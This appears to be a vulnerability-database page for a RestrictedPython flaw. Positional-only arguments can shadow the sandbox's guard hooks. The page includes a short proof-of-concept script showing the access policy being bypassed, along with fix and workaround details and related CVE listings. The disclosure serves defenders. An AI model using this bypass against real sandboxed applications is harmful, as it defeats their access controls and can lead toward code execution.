CVE-2026-55830High· 8.3▾ TwilightRestrictedPython guard hooks can be shadowed via positional-only arguments
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 45.7 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Aug 28.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
0.4%
Last analysed / modified upstream
RestrictedPython rewrites sensitive operations to go through guard hooks. Attribute access becomes _getattr_(obj, name), item access becomes _getitem_(obj, key), writes go through _write_, and print goes through _print_. The embedding application supplies these hooks to enforce its policy.
Argument-name validation rejects these protected names for regular arguments, *args, **kwargs, and keyword-only arguments, but it misses positional-only arguments (the ones before /). So a function like:
def f(_getattr_=evil, /):
return o.x
makes _getattr_ a local that shadows the policy hook, and the rewritten access calls evil instead. The same works for _getitem_, _write_, and _print_. Shadowing _print_ can also be used to capture the internal _getattr_ hook that RestrictedPython passes in.
The result is that sandboxed code can bypass the access policy the embedding application relies on. In applications that also handle sandbox-controlled objects unsafely (for example serializing them with pickle), this primitive can be chained further, up to remote code execution. That part depends on the embedding application, but the underlying guard bypass is in RestrictedPython.
On an unpatched RestrictedPython this prints shadowed and an empty calls list, meaning the policy _getattr_ never ran. With the fix, compile_restricted rejects the code.
from RestrictedPython import compile_restricted
from RestrictedPython.Guards import safe_globals, safer_getattr
calls = []
def policy_getattr(obj, name, default=None):
calls.append(name) # the real guard records every access
return safer_getattr(obj, name, default)
src = """
def f(o, _getattr_=lambda obj, name: "shadowed", /):
return o.x
"""
code = compile_restricted(src, "<s>", "exec") # currently compiles, should be rejected
g = dict(safe_globals)
g["_getattr_"] = policy_getattr
exec(code, g)
class O:
x = "secret"
print(g["f"](O())) # -> "shadowed" (attacker's local was used)
print(calls) # -> [] (policy _getattr_ never ran)
The fix validates positional-only argument names the same way the other argument kinds are already validated. It will ship in the next release.
None other than upgrading. If you cannot upgrade immediately, reject any submitted code whose function or lambda definitions use positional-only parameters with leading-underscore names before compiling.
restrictedpython < 8.3Upgrade to a patched release:
restrictedpython 8.3Connected by shared product, vendor, weakness, or advisory.
CVE-2026-76825High· 8.4RestrictedPython is a tool that helps define a subset of the Python language for accepting program input in a trusted environment
CVE-2023-37271High· 8.4RestrictedPython vulnerable to arbitrary code execution via stack frame sandbox escape
CVE-2025-22153High· 7.9try/except* clauses could allow bypass RestrictedPython via type confusion bug in the CPython interpreter
CVE-2026-62676High· 7.1Omnigent is an open-source AI agent framework and meta-harness for orchestrating coding agents
CVE-2026-67325High· 8.8GitPython before 3.1.51 contains an incomplete command injection blocklist that fails to account for git's long-option prefix abbreviation feature
CVE-2025-71351MediumPicklescan missing detection when calling built-in python library function timeit.timeit()